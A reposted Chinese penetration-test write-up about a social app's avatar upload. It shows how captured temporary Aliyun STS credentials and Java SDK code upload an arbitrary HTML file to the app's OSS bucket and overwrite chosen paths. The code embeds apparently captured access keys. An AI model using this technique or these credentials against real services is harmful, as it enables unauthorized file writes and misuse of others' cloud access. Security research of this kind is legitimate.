市面上的社交APP非常多,有某个社交APP,存在文件上传头像的功能。
APP此时想要上传,肯定会打开相册,但是相册里的都是图片,我们想自定义后缀是没办法的。
此时可以直接采用burp抓包,但是在这里恰好由于未知的原因,我们抓不到Put上传的(暂未得知为什么),所以我直接使用 HTTP debuger pro来全局抓HTTP流量(强烈推荐)
通过HTTP Debuger pro抓到的数据包后再复制粘贴进Burp分析
之后抓到如下两个数据包
1、生成临时的STS key
2、利用STS key进行文件上传,
https://help.aliyun.com/document_detail/100624.html?spm=a2c4g.11186623.2.10.5e474529lXELjN#section-7tz-fgu-oji
1)引入阿里云pom依赖包
<projectxmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.wzjwhut</groupId>
<artifactId>alioss_example</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<name>alioss_example</name>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.aliyun.oss</groupId>
<artifactId>aliyun-sdk-oss</artifactId>
<version>2.8.3</version>
</dependency>
<!--阿里云OSS依赖-->
<dependency>
<groupId>com.aliyun.oss</groupId>
<artifactId>aliyun-sdk-oss</artifactId>
<version>3.10.2</version>
</dependency>
<dependency>
<groupId>com.aliyun</groupId>
<artifactId>aliyun-java-sdk-sts</artifactId>
<version>3.0.0</version>
</dependency>
<dependency>
<groupId>com.aliyun</groupId>
<artifactId>aliyun-java-sdk-core</artifactId>
<version>4.4.6</version>
</dependency>
</dependencies>
</project>
2)修改代码,引入STS.AK SK STS.TOKEN以及endpoint值,oss-name
import com.aliyun.oss.OSS;
import com.aliyun.oss.OSSClientBuilder;
import com.aliyun.oss.model.PutObjectRequest;
import java.io.File;
public class Upload {
public static void main(String[] args) {
// Endpoint以杭州为例,其它Region请按实际情况填写。
String endpoint = "oss-cn-china.aliyuncs.com";
// 填写步骤五获取的临时访问密钥(AccessKey ID和AccessKey Secret)。
String accessKeyId = "STS.NUU412E9TPCDUsDHuC6xZFA1x";
String accessKeySecret = "7ihnNXQUbxPhhiUR82JJkJNsUSLP2RSE4VYj59vFXxUx";
// 填写步骤五获取的安全令牌SecurityToken。
String securityToken = "CAISpwJ1q6";
// 创建OSSClient实例。
OSS ossClient = new OSSClientBuilder().build(endpoint, accessKeyId, accessKeySecret, securityToken);
// 将本地文件exampletest.txt上传至目标存储空间examplebucket下的目录exampledir。
PutObjectRequest putObjectRequest = new PutObjectRequest("justxxxxxx-ossname", "user/cover/1234567897897777777777777777.html", new File("C:\Users\Administrator\Pictures\123.html"));
// 如果需要上传时设置存储类型与访问权限,请参考以下示例代码。
// ObjectMetadata metadata = new ObjectMetadata();
// metadata.setHeader(OSSHeaders.OSS_STORAGE_CLASS, StorageClass.Standard.toString());
// metadata.setObjectAcl(CannedAccessControlList.Private);
// putObjectRequest.setMetadata(metadata);
// 上传文件。
ossClient.putObject(putObjectRequest);
// 关闭OSSClient。
ossClient.shutdown();
}
}
直接运行java代码即可,可构造任意文件上传以及任意的路径文件覆盖
该漏洞为高危漏洞
原文始发于微信公众号(Ice ThirdSpace):实战某社交APP | 利用SDK构造OSS文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论